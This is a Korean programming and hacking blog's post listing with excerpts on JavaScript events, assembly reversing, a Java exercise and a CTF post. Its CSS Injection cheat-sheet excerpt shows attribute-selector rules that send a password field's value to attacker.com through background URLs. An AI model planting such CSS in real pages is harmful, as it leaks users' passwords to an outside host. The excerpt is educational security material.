p1n9
'분류 전체보기' 카테고리의 글 목록

분류 전체보기

Programming/Javascript

[Javascript] Events Listener

Events Listener HTML 삽입 미리보기할 수 없는 소스 addEventListener("event",function) HTML 삽입 미리보기할 수 없는 소스 이벤트는 어떤 특정한 행위에 대한 것으로 특정 트리거가 발생되면 함수를 실행시킬 수 있게 해주는 javascript문법이다. addEventListener() 함수로 이벤트를 넣어 줄 수 있다. "click" 말고도 hover, load 등 많은 이벤트들이 있으니 MDN을 참고 바란다. https://developer.mozilla.org/ko/docs/Web/Events 이벤트 참조 | MDN DOM 이벤트는 발생한 흥미로운 것을 코드에 알리기 위해 전달됩니다. 각 이벤트는 Event 인터페이스를 기반으로한 객체에 의해 표현되며 발생한..

Programming/Javascript

[Javascript] HTML 태그에 접근 방법

HTML 태그에 접근 방법 HTML 삽입 미리보기할 수 없는 소스 document에 접근하여 태그를 가져오면 태그는 많은 속성들이 있는데 이를 변경해줄 수 있다. style , events , innerText 등 정말 많은 요소의 속성을 변경해줄 수 있다. document.getElementById HTML 삽입 미리보기할 수 없는 소스 속성 id를 기준으로 Element를 가져올 수 있다. const h1 = document.getElementById("title") getElementsTagName HTML 삽입 미리보기할 수 없는 소스 해당되는 태그들을 가져올 수 있다. 만약 해당되는 태그가 여러 개일 경우 배열로 반환된다. const tag = document.getElementsByTagNam..

Hacking/Reversing

[Reversing] RISC , CISC (feat. Thumb)

RISC, CISC , Thumb HTML 삽입 미리보기할 수 없는 소스 RISC HTML 삽입 미리보기할 수 없는 소스 RISC는 명령어의 길이가 4byte 고정길이이다. 명령어의 수가 적다 arm , mips가 대표적인 RISC언어이다. ARM 모드 ARM모드는 위에서 설명한 것이다. 고정길이가 4byte이고 명령어가 적다는 것이다. 하지만 초창기에 실제로 명령어가 4byte만큼 차지하는 것이 별로 없어서 2byte만으로 encoding하는 Thumb이 생겨났다. Thumb모드 2byte의 고정길이로 encoding 하여 사용하는 방식이다. 하지만 모든 명령어를 2byte로 인코딩하는 것은 불가능하므로 ARM과 Thumb를 같이 사용되게 됐다. Thumb-2가 나오고 나서는 표준 2byte지만 4by..

Hacking/Reversing

[Reversing] 리턴 값

리턴 값 HTML 삽입 미리보기할 수 없는 소스 int f() { return 123; } x86 HTML 삽입 미리보기할 수 없는 소스 f(): mov eax, 123 ret gcc / mvsc 둘 다 동일 ARM HTML 삽입 미리보기할 수 없는 소스 f(): movs r3, #123 mov r0, r3 bx lr r0 레지스트에 return value를 저장 MIPS HTML 삽입 미리보기할 수 없는 소스 f(): li $2,123 jr $31 $2($v0)에 return value를 저장 f(): jr $31 li $2,123 li와 jr의 위치가 변경 될 수도 있는데 이는 "브랜치 지연 슬롯"으로 인해 변경된 것이다. 브랜치 지연 슬롯은 RISC의 특징이다. 점프나 분기 명령어 다음에 위치하는 ..

Algorithm & Data Structure/Problem

[Problem] 원소의 합 구하기

원소의 합 구하기 HTML 삽입 미리보기할 수 없는 소스 Problem HTML 삽입 미리보기할 수 없는 소스 정수가 N개 주어진다. 이 N개의 정수의 합을 출력하는 프로그램을 작성하시오. 입력 형식 첫 줄에 입력되는 데이터의 수 N이 공백없이 입력된다. N은 1이상 1,000이하의 자연수이다. 두 번째 줄에는 공백으로 구분된 N개의 정수가 주어진다. 모든 숫자와 그 숫자들의 합은 항상 32비트 정수형으로 표현가능하다. 출력 형식 첫 줄에 입력된 N개의 숫자의 합을 공백없이 출력한다 Solve HTML 삽입 미리보기할 수 없는 소스 import java.lang.*; import java.io.*; import java.util.*; public class Main { public static final..

Hacking/Cheat Sheet

[Cheat Sheet] CSS Injection

CSS Injection HTML 삽입 미리보기할 수 없는 소스 Sequential Importing Chaining HTML 삽입 미리보기할 수 없는 소스 CSS 선택자를 이용하여 HTML 태그 내의 value값을 받아올 수 있다. input[name=password][value^=a]{ background: url('https://attacker.com/a'); } input[name=password][value^=b]{ background: url('https://attacker.com/b'); } /* ... */ input[name=password][value^=9]{ background: url('https://attacker.com/9'); } URL HTML 삽입 미리보기할 수 없는 소스 ..

CTF/Web

[GON CTF] ColorfulMemo

보호되어 있는 글입니다.

Hacking/Reversing

[Reversing] 빈 함수

빈 함수 HTML 삽입 미리보기할 수 없는 소스 void f() { return; } X86 HTML 삽입 미리보기할 수 없는 소스 GCC f(): push rbp mov rbp, rsp nop pop rbp ret MVSC void f(void) PROC ; f push ebp mov ebp, esp pop ebp ret 0 void f(void) ENDP ; f RET : pop rip 명령어와 동일, 스택에 함수 복귀 주소를 저장 후 ret을 만나면 pop rip를 하면서 복귀 ARM HTML 삽입 미리보기할 수 없는 소스 f(): push {r7} add r7, sp, #0 nop mov sp, r7 ldr r7, [sp], #4 #Strack Frame bx lr BX LR(서브 루틴 복귀) :..